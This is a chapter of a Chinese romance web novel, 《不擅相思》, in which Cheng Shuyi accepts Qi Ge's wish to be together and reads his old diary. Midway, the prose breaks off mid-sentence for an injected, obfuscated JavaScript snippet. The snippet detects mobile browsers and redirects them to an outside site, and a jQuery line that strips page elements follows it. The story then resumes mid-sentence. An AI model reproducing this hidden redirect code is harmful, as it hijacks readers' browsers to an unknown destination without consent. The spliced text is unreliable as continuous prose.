95. 谢谢你
作品:《不擅相思》 祁歌的问题,程书仪其实并没花太多时间思考。
如果非要说她和祁歌之间有什么矛盾的话,无非就是横亘在彼此心中的不信任感。
人与人之间的信任是很难重建的,或许永远不会。
但是怎么说,祁歌这人作为工作伙伴其实没什么问题。
一旦建立了承诺,他一定会付出极大努力,排除万难地把事情做好。这一点程书仪还是相信的。所以倘若这次祁歌想要的“在一起”是以合作的形式,倒也符合他们现在的关系。
倘若合作不成,一拍两散便罢了。
程书仪从不是一个纠结的人,也不惮于尝试任何事。
可是……为什么要那么快让他得到答案?
拖一拖也没什么大不了的。
于是程书仪暂时将这件事抛之脑后,打算过个几天等祁歌沉不住气来问再说。
“……你再说一遍?”阿远一边嚼着嘴里的果干一边问祁歌,“我有点没跟上,你是说这个是你买的?”
“你记不记得之前又一次,我们去山里拍外景,坐三轮去镇上买东西?”祁歌半靠在椅子上,眯着眼睛望着天边翻腾的云,“哎我感觉一会儿要下雨了。”
“是吗,最近下雨好多啊,导演说雨戏都提前拍完了,就等晴天呢。”阿远也跟着看了看天,“你继续说啊,三轮车在镇上买东西,然后呢?”
祁歌笑了一声:“我买了包没见过的刺梨干寄给程书仪,不过那个不能吃,很硬,是已经彻底晒干了泡水喝的。后来,在医院……”
“啊!”阿远一拍脑门,“我想起来了,你做完手术我去探病前,程姐让我给你带过去了,我一开始还以为是什么中药。”
祁歌点点头,笑容里掺了点苦涩:“嗯……那个时候,那是我唯一留在她那里的东西。”
“原来还有这段故事……”阿远话音未落,只见天边忽然闪过一道电光。
紧接着是轰隆隆的雷声,从遥远的云端滚落到耳畔。
要下雨了。
“没办法,今天大概要停拍,”副导演过来通知,“老师们休息一会儿等消息吧。”
“要等晴天吗?”祁歌问道。
“棚里还没准备好,可能会紧急搭场景改棚戏。”副导演缩着头吐了下舌头一脸苦相,看得出导演今天心情非常不好。
祁歌站起了身。
“你干嘛去?”阿远问他。
“不是拍不了吗,我正好请个假。”
“请假干嘛?”
“我去找程书仪一趟。”祁歌不假思索。
“你疯了。”阿远一锤定音。
程书仪早上在家门口捡到祁歌时,倒是不算太意外。
“就这么等不及?”她故意板着脸问道。
祁歌很明显在仔细观察着她的表情:“我……下雨了,剧组停拍一天,我想着……”
“一天?”程书仪有些惊讶,“那你今天还要赶回去?”
祁歌点点头。
这是掏出了名为“被雨淋湿的小狗”的招数吗?无耻啊……
程书仪抬腕看了眼时间:“我一会儿还有个会……”
祁歌笑了笑:“不耽误你时间,就想来见见你,中午回来吃饭吗?”
程书仪犹豫了一下。
她原本的打算是中午随便吃个简餐,下午还安排了别的工作。
但祁歌来一趟也不容易,她不是要对这人心软,只是出于本能的礼貌……对是这个逻辑。
“那下午呢?”没等到她说话,祁歌又问。
程书仪没答,反问道:“你几点的飞机?”
“晚上赶回去就行。”祁歌犹豫着向后退了两步,“那我……”
程书仪叹了口气:“来都来了……”
想到快过年了,她又开玩笑地加了句:“大过年的。”
祁歌却并没有笑,低着头嗫喏了一句什么。
“嗯?”程书仪没听清。
“你……这是可以的意思吗?”祁歌抬起头。
触到他的目光,程书仪怔了一下:“……可以什么?”
她这一问多少有点明知故问。祁歌千里迢迢匆匆而来,为的一定是她的一个答案。
只是现在他们匆匆站在门口,时间有限,似乎让原本想要郑重给出的答案显得有点潦草。
她只迟疑了这么一下,祁歌的眼睛便暗了下去。
他没再说什么,只又退了一步,看样子是要走。
“哎呀行了,可以,可以行了吧……”程书仪匆匆撂下这句,刻意不去看祁歌的表情,转身就要走。
祁歌却一把抓住她手腕:“可以什么?”
程书仪回过头,看到那双眼睛里慢慢浮起了笑意。
还是这样好看多了。
“你先去休息,赶飞机过来的吧?”程书仪假装不耐烦地推他进去,“阿姨在呢,别想着做饭了,我下午早点回来。”
“到底可以什么啊?喂……”祁歌被推进门的时候还在后面喋喋不休。
忙完这一天的事,程书仪坐在回家的车里看着手机里的数据,却竟然有些看不进去。
她发现自己忽然有点期待回家这件事。
今天的工作其实不算太顺利,之前看好的一个公司成绩被证明不如预期,所幸他们及时做了判断,损失不算太大。
因为这个,程书仪的工作结束得比预计早了些,回到家时其实还没到晚饭时间。
祁歌却已经在厨房忙起来。
“小姐,”阿姨过来帮她挂衣服,“祁先生说他只做一个菜,我就由着他了。”
程书仪点点头。
她走前嘱咐过阿姨,劝着点祁歌,别让他干活。
祁歌有时候会将疲惫作为自己付出的一部分,但其实她并不需要什么田螺先生,也不需要他这种付出……
她这边还没想出个所以然,祁歌听到动静,从厨房探出脑袋:“放心,我上午一直休息来着,你想吃手工面吗?”
这个程书仪是真的觉得不错,于是点了点头。
祁歌冲她一笑,缩回头去继续跟手里的一团面战斗。
程书仪没作声,倚在门框上看了他一会儿。
祁歌这段时间比之前状态好了不少,脸上也多少有了点气色。
面团已经发好了,祁歌细细揉了一会儿,又搓成长条准备切段。
那把厨师刀是日式的,重量比普通菜刀要轻很多。可是祁歌将刀刃悬在空中时,手腕很明显地发着抖。
他看起来已经习惯了这种状况,握着刀柄将刀刃架在案板上歇了歇,略等了一会儿,这才继续切下去。
即使是这样,他也没能把面团切得太均匀,切完自己不甚满意地摇了摇头。
程书仪望着他的背影,忽然觉得呼吸有点乱。
不得不承认,她有些不忍心看下去。
或许祁歌是对的,对她来说,这些画面晚出现一点会更好。
即使是现在,让她平静接受这些,似乎仍然有点太早了。
祁歌回头看了眼,大概注意到她的表情,先洗了手,又端了盘水果出来,把厨房的门关上,陪她在客厅坐下。
程书仪低头去盯着他的手,这次倒没看出还有没有在抖。
“什么时候搬家?”祁歌有些突兀地问道。
程书仪知道他在转移自己注意力,闻言抬了抬下巴,示意他看门厅的鞋柜:“对了,说起搬家,你的东西,我都放那儿了。”
祁歌留在她这儿的东西不多,都是些个人物品。程书仪不觉得这些东西有什么重要,但祁歌上次提过,她便都捡了出来。
“……不是那些。”祁歌说。
“不是?”程书仪这次是真被他搞得好奇起来。
祁歌稍稍沉默了一会儿。
程书仪也没催他。她现在已经是一个成熟的饲养员,耐心值点满,说不说都由他了。
祁歌在她身边深吸了口气又吐出来:“日记本。”
“日记本?”
这次程书仪终于被勾起模糊的印象。
她记得祁歌有次来还她的衣服,袋子里留了个本子。她当时心情不佳,草草翻了两眼,就连衣服一起塞进衣柜里,然后彻底地遗忘了这件事。
“哎呀……”祁歌放弃包袱,两手抱头开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239014|187202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耍无赖,“当时也不知道怎么想的,现在想起来就觉得太丢脸了,你是不是没看,还给我吧求你了……”
程书仪笑出了声:“这么点事,惦记了这么久?”
她起身上楼去衣柜里给他找了出来,大大方方递过去:“喏。”
祁歌接了过来,自己也没翻开,直接走到门厅丢进程书仪说的袋子里,这才又拐去厨房做饭。
留下程书仪狐疑地看着他的背影。
晚饭前,程书仪让阿姨拿了瓶红酒出来。
拉菲配面条,非常不错的搭档。
祁歌对红酒杯表现出几分讶异:“今天这么高兴?工作很顺利?”
“工作?”程书仪偏过头颇为痛苦地回忆了一下,“……还、还成吧。”
她的目光转回餐桌时,祁歌的脸上已经笑意盈盈:“那就是因为我了。”
不等她反驳,祁歌自顾自举起杯子跟她碰杯:“庆祝我们建立新的关系。”
程书仪耸耸肩,跟他轻轻碰了杯。
“拍完这部戏,我会回A市一段时间,”祁歌柔声对她说,“新戏可能会延一延,不过我那个舞台剧又开了一轮,我会尽量多演几场。”
“那个戏是还不错。”程书仪肯定道,“消耗也挺大吧?”
“那时候拿得下,现在更没问题了,”祁歌笑着说,“放心。”
晚上祁歌吃完饭就去赶飞机,出门时并没带走那个属于他的袋子。
程书仪怀疑这是他的某种欲擒故纵的手段,但是没有证据,也没办法强力指控。
“是不是想让我看?”她发消息问。
那边发来一连串否认:“不不不不不不不……”
怎么说,既然放在她这里这么久,必然是给她看的。程书仪觉得自己当然可以看,大不了看完什么都不说,不就行了。
这样想着,她果断又把那个日记本拿了出来。
“其实我想让你看,”祁歌恰到好处地发来了新消息,“又怕你看了不开心。”
程书仪想了想,郑重回复:“我能接受这种不开心。”
祁歌紧接着发来一条语音,只有两秒。
“那就好。”
其实事情过去那么久,祁歌当时再真切再深刻的痛楚和绝望,对程书仪来说也已经远了。
从一开始就是她偶然发现了祁歌,想要接近这个人,才开启了这一段曲折故事。
随着两人距离的缩短,程书仪在他身上倾注过太多的关注和热切。
时过境迁,这些东西渐渐地冷了下来,和这个本子一样,最终被她丢入不见光的角落。
但或许,事到如今这个故事竟然还没结束。
她翻出那些记忆时,仿佛又再次触到了这份热度。
程书仪坐下来,翻开了这本日记。
这一次,她摸到她一直想要的,祁歌藏在最底下的那个部分。
这些叙述从她的目光间流过,又消失在纸页之间。
程书仪捏着那些脆弱的纸页,感觉心中比起释然,好像无力感更多些。
她知道这就是祁歌不想她感受的东西。
如今虽然迟了,也总算是舍得给她了。
“我没那么脆弱,你知道的,”程书仪给祁歌发消息说,“我会为你难过,但这就是我想要的东西。”
回想这么多年她旁敲侧击的日子,那些得不到答案只能猜测的担忧与焦躁,那些被排除在外的疏离和失落,她也未曾有机会言明过。
“以后别再让我瞎担心了,”程书仪按着语音键笑了一声,“有事说事,我们都轻松一点,行吗?”
祁歌给她打了电话过来,感叹的却是另一件事:“哇,你很少给我发语音。”
“嗯,”程书仪笑意未消,也不知道是不是喝了点酒的关系,觉得像踩在云雾上一样有点飘飘然,“我想你了,就想让你也想想我。”
电话那边一时间只有呼吸声。
“书仪,”许久,祁歌才轻声打破了沉默,“谢谢你。”
“谢谢我?”程书仪拔高了声音。
祁歌笑出了声,又郑重清了清嗓子:“还有我爱你。”

